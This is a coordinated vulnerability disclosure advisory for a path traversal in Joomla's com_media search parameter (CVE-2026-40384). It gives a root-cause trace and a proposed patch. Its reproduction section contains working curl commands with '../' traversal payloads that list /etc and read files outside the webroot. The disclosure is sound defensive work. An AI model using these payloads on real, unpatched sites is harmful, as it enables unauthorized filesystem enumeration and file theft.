ANT-2026-GSV3GS1G · joomla/joomla-cms
path-traversal medium
CVE-2026-40384 GHSA-hr66-rv65-f5r4
Severity Claude high · Security research firm high · Maintainer medium
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.
ANT-2026-GSV3GS1G: Path Traversal via Glob Injection in com_media Search
The Joomla Media Manager (com_media) exposes a file search endpoint that passes the user-supplied search parameter directly into a glob() pattern without sanitization. While the path parameter is properly validated via Path::check() (which rejects ..), the search parameter receives no such validation.
An Author-level user (Joomla's default content-creation group, which has core.create on com_media) can inject ../ sequences into the search parameter to escape the media sandbox (/images) and:
- Enumerate the entire server filesystem — directories are never filtered
- Read the contents of any file with an allowed media extension (
.txt,.csv,.pdf,.doc,.xls,.jpg,.png, etc.) anywhere on the filesystem, including outside the webroot
This breaks the fundamental security boundary of the media adapter, which is supposed to jail all operations inside the configured media root (/var/www/html/images).
Target
Project: joomla
Commit: b794d03bd42cf8ba
Discovery: static analysis — not yet dynamically reproduced
Technical Details
The root cause is that LocalAdapter::search() builds $pattern = Path::clean($this->getLocalPath($path) . '/*' . $needle . '*') where $needle is attacker-controlled and unvalidated; Path::clean() only normalizes slashes and does not strip .., and PHP's glob() resolves .. segments during pattern expansion. The existing Path::check() guard is applied only to $path, not to the search needle, so the sandbox boundary is enforced on the wrong input.
Reproduction
This finding was identified by static analysis and has not yet been dynamically reproduced. The Technical Details section above describes the code path; a trigger input is not included.
[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-GSV3GS1G.
Reference: ANT-2026-GSV3GS1G
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure
Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- high
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Path Traversal via Glob Injection in com_media Search Parameter |
| Severity Rating | High |
| Bug Category | Path Traversal |
| Location | plugins/filesystem/local/src/Adapter/LocalAdapter.php:749, search() |
| Affected Versions | Joomla 6.0.4 |
Executive Summary
The search parameter in Joomla's Media Manager API (com_media) is concatenated directly into a glob() pattern at LocalAdapter::search() without any path validation. While the path parameter is correctly protected by Path::check() (which rejects .. sequences), the search parameter receives no such validation — only the STRING input filter is applied, which strips HTML tags but not path separators or traversal sequences. An Author-level user (the lowest content-creation role in Joomla's default ACL) can inject /../../../../../ into search to escape the /images/ media sandbox, enumerate the entire server filesystem, and read the contents of any file with an allowed media extension (.txt, .csv, .pdf, .doc, .xls, images, etc.) anywhere on disk. The isMediaFile() extension filter blocks .php, .conf, .key, .pem, and extensionless files, which prevents direct credential theft from files like configuration.php or /etc/passwd — but .txt/.csv backups and exports are fully readable.
Root Cause Analysis
Technical Description
The Media Manager exposes a file search endpoint via ApiController::getFiles(). The search parameter flows through the model unchanged and reaches LocalAdapter::search(), where it is concatenated into a glob() pattern:
// plugins/filesystem/local/src/Adapter/LocalAdapter.php:747-764
public function search(string $path, string $needle, bool $recursive = false): array
{
$pattern = Path::clean($this->getLocalPath($path) . '/*' . $needle . '*');
// ^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^
// Validated (Path::check) NOT validated
if ($recursive) {
$results = $this->rglob($pattern);
} else {
$results = glob($pattern); // glob() resolves `..` during pattern expansion
}
$searchResults = [];
foreach ($results as $result) {
$searchResults[] = $this->getPathInformation($result);
}
return $searchResults;
}
PHP's glob() resolves .. segments during pattern matching. Given media root /var/www/html/images with default subdirectories banners/, headers/, sampledata/:
Pattern: /var/www/html/images/*/../../../../../etc/*
│ │ │
│ │ └─ 5 × `..` climbs to `/`
│ └─ matches banners, headers, sampledata
└─ rootPath (trusted)
Resolves to → /etc/*
The Path::clean() call only normalizes directory separators — it does not strip .. (unlike Path::check(), which throws on traversal sequences). The STRING input filter at the controller strips HTML tags only; /, ., .. all pass through.
When content=1 is supplied, the traversal path flows into LocalAdapter::getResource() at line 212, which performs a raw fopen($this->rootPath . '/' . $path, 'r') with no path validation — enabling actual file content read, not just enumeration. The file content is returned as the base64-encoded content attribute.
First Faulty Condition
| File | plugins/filesystem/local/src/Adapter/LocalAdapter.php |
|---|---|
| Line | 749 |
| Condition | $needle (user-supplied search term) is concatenated into the glob pattern without any path validation or sanitization. Every other path-accepting method in LocalAdapter routes through getLocalPath() → Path::check(). The search() method is the only one that concatenates user input after the getLocalPath() call. |
Trace Analysis
ApiController::getFiles()atadministrator/components/com_media/src/Controller/ApiController.php:128—$options['search'] = $this->input->getString('search', '')accepts the search term withSTRINGfilter only (strips HTML, not path chars).ApiModel::getFiles()atadministrator/components/com_media/src/Model/ApiModel.php:110-112— forwards$options['search']as$needleto the adapter unchanged.ApiModel::search()atApiModel.php:430-433—return $this->getAdapter($adapter)->search($path, $needle, $recursive)— still unchanged.LocalAdapter::search()atLocalAdapter.php:749—$pattern = Path::clean($this->getLocalPath($path) . '/*' . $needle . '*')—$needleconcatenated raw into glob pattern.LocalAdapter.php:754—$results = glob($pattern)—glob()resolves..during pattern matching, escaping the sandbox.LocalAdapter::getResource()atLocalAdapter.php:212—fopen($this->rootPath . '/' . $path, 'r')— whencontent=1is set, the traversal path from glob results enables actual file content read with noPath::check().
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low |
| User interaction required | None |
| Reachable in default config | Yes |
| Entry point(s) | GET /index.php?option=com_media&task=api.files&format=json&path=local-images:/&search=/../../../../../{target}&recursive=0&content=1&mediatypes=0,1,2,3 |
The attacker can enumerate every directory on the filesystem with no filtering, and read the full contents of any file matching the allowed extension set. A standard file-system permissions apply. While the extension filter prevents reading .php config files or /etc/passwd directly, the readable set is broad enough to capture configuration.php.txt backups, .csv database exports, .txt cron scripts, and private documents stored outside the webroot. Directory enumeration alone reveals installed software versions, backup locations, and system layout useful for targeting other vulnerabilities.
Reproduction Steps
Environment The issue was reproduced using Joomla 6.0.4 on Ubuntu 24.04.4 LTS.
Prerequisites: An Author-level Joomla account (group 3). This is the minimum content-creation role, commonly granted to contributors on multi-author sites.
Steps to reproduce:
# 1. Log in as Author user, obtain session cookie
curl -s -L -c cookies.txt "http://TARGET/index.php/component/users/login" -o login.html
CSRF=$(grep -oE 'csrf.token":"[a-f0-9]{32}"' login.html | head -1 | grep -oE '[a-f0-9]{32}')
curl -s -b cookies.txt -c cookies.txt \
"http://TARGET/index.php" \
--data-urlencode "username=AUTHOR_USER" \
--data-urlencode "password=AUTHOR_PASS" \
-d "option=com_users&task=user.login&return=aW5kZXgucGhw&${CSRF}=1"
# 2. CONTROL: Verify traversal in `path` parameter is blocked
curl -s -b cookies.txt \
"http://TARGET/index.php?option=com_media&task=api.files&format=json&path=local-images%3A%2F..%2F..%2Fetc&mediatypes=0%2C1%2C2%2C3"
# Expected: 400 Bad Request — "Use of relative paths not permitted"
# 3. EXPLOIT: Directory enumeration via traversal in `search` parameter
curl -s -b cookies.txt \
"http://TARGET/index.php?option=com_media&task=api.files&format=json&path=local-images%3A%2F&search=%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&recursive=0&mediatypes=0%2C1%2C2%2C3"
# Expected: 200 OK with JSON listing /etc/ directory contents
# 4. EXPLOIT: File content read outside webroot
curl -s -b cookies.txt \
"http://TARGET/index.php?option=com_media&task=api.files&format=json&path=local-images%3A%2F&search=%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flib%2Fpython3.12%2FLICENSE.txt&recursive=0&content=1&mediatypes=0%2C1%2C2%2C3"
# Expected: 200 OK with base64-encoded file content in the "content" field
Expected output:
Steps 2 vs 3 form the clean differential: identical privilege level, identical traversal sequence, only the parameter name differs. path is validated by Path::check(); search is not.
Step 3 returns ~144 results listing /etc/ directories.
Step 4 returns file contents as base64 in the JSON response.
PoC files
poc.py— Python 3 script that creates an Author user (setup via DB), logs in via HTTP, runs baseline controls and exploit cases, and verifies file content byte-matches disk. Run withpython3 poc.py.
Recommended Fix
Option 1 (primary) — Validate $needle in LocalAdapter::search(): A search term is semantically a filename fragment, not a path. Reject path separators and escape glob metacharacters:
public function search(string $path, string $needle, bool $recursive = false): array
{
// Search term must be a filename fragment, not a path
if (preg_match('#[/\\\\]#', $needle) || str_contains($needle, '..')) {
throw new InvalidPathException('Search term may not contain path separators');
}
// Escape glob metacharacters so the term is matched literally
$needle = addcslashes($needle, '*?[]{}\\');
$pattern = Path::clean($this->getLocalPath($path) . '/*' . $needle . '*');
// ... rest unchanged
}
Option 2 (defense in depth) — Validate glob results against rootPath: Even if $needle is cleaned, validate each glob result to ensure it hasn't escaped the sandbox:
foreach ($results as $result) {
$real = realpath($result);
if ($real === false || !str_starts_with($real . '/', $this->rootPath . '/')) {
continue; // result escaped the sandbox — discard
}
$searchResults[] = $this->getPathInformation($real);
}
Option 3 (harden getResource()): Route through the existing getLocalPath() → Path::check() guard like every other method in LocalAdapter:
public function getResource(string $path)
{
return fopen($this->getLocalPath($path), 'r'); // goes through Path::check()
}
This single-line change would block the content=1 file read even if the glob traversal remains, because the traversal path would fail Path::check().
Patch provenance: AI-generated + Human-reviewed
References
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CVE-2019-10945 — prior com_media directory traversal in Joomla <=3.9.4 (
folderparameter, different codebase) - CVE-2020-24597 — prior com_media traversal in Joomla <=3.9.20 (root-path config, different architecture)
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research
Attachment: diff.patch
diff --git a/plugins/filesystem/local/src/Adapter/LocalAdapter.php b/plugins/filesystem/local/src/Adapter/LocalAdapter.php
index 9f8ecd9..74e48d9 100644
--- a/plugins/filesystem/local/src/Adapter/LocalAdapter.php
+++ b/plugins/filesystem/local/src/Adapter/LocalAdapter.php
@@ -209,7 +209,7 @@ class LocalAdapter implements AdapterInterface
*/
public function getResource(string $path)
{
- return fopen($this->rootPath . '/' . $path, 'r');
+ return fopen($this->getLocalPath($path), 'r');
}
/**
@@ -746,6 +746,14 @@ class LocalAdapter implements AdapterInterface
*/
public function search(string $path, string $needle, bool $recursive = false): array
{
+ // Search term must be a filename fragment, not a path
+ if (preg_match('#[/\\\\]#', $needle) || str_contains($needle, '..')) {
+ throw new InvalidPathException('Search term may not contain path separators');
+ }
+
+ // Escape glob metacharacters so the term is matched literally
+ $needle = addcslashes($needle, '*?[]{}\\');
+
$pattern = Path::clean($this->getLocalPath($path) . '/*' . $needle . '*');
if ($recursive) {
@@ -757,7 +765,13 @@ class LocalAdapter implements AdapterInterface
$searchResults = [];
foreach ($results as $result) {
- $searchResults[] = $this->getPathInformation($result);
+ $real = realpath($result);
+
+ if ($real === false || !str_starts_with($real . '/', $this->rootPath . '/')) {
+ continue;
+ }
+
+ $searchResults[] = $this->getPathInformation($real);
}
return $searchResults;
Dates from discovery through public reveal.
- 2026-03-30 Reported to tracker
- 2026-04-23 Sent to maintainer
- 2026-05-07 Maintainer acknowledged
- 2026-05-28 Patch released
- 2026-05-28 Publicly revealed
SHA-3-512 hash:
d7de4969efd4f3d7e9c4921183300a215f7ed12cf7cc72a058f666216d45394f963e93d1e9c78a2e73dcd3471c8548e8160cef16bacaed927db723f7e4ea78f5
Committed 2026-04-23 00:04 PT
Revealed 2026-05-28 11:00 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-GSV3GS1G",
"bug_class": "Path-traversal",
"claude_severity": "high",
"commit_sha": "b794d03bd42cf8ba",
"created_at": "2026-03-30T23:19:37+00:00",
"description": "The Joomla Media Manager (`com_media`) exposes a file search endpoint that passes the user-supplied `search` parameter directly into a `glob()` pattern without sanitization. While the `path` parameter is properly validated via `Path::check()` (which rejects `..`), the `search` parameter receives no such validation.\n\nAn **Author-level** user (Joomla's default content-creation group, which has `core.create` on `com_media`) can inject `../` sequences into the `search` parameter to escape the media sandbox (`/images`) and:\n\n1. **Enumerate the entire server filesystem** — directories are never filtered\n2. **Read the contents** of any file with an allowed media extension (`.txt`, `.csv`, `.pdf`, `.doc`, `.xls`, `.jpg`, `.png`, etc.) **anywhere on the filesystem**, including outside the webroot\n\nThis breaks the fundamental security boundary of the media adapter, which is supposed to jail all operations inside the configured media root (`/var/www/html/images`).",
"discovered_at": null,
"location": null,
"poc_sha256": "2582bdc36655e31e92c9e5397a55a7315b2ba50f0c5c176e25ad0f5299285bb0",
"preimage_version": 1,
"project": "joomla",
"reproduction": null,
"technical_details": "The root cause is that LocalAdapter::search() builds `$pattern = Path::clean($this->getLocalPath($path) . '/*' . $needle . '*')` where `$needle` is attacker-controlled and unvalidated; Path::clean() only normalizes slashes and does not strip `..`, and PHP's glob() resolves `..` segments during pattern expansion. The existing Path::check() guard is applied only to `$path`, not to the search needle, so the sandbox boundary is enforced on the wrong input.",
"title": "Path Traversal via Glob Injection in com_media Search",
"vendor_severity": "high"
}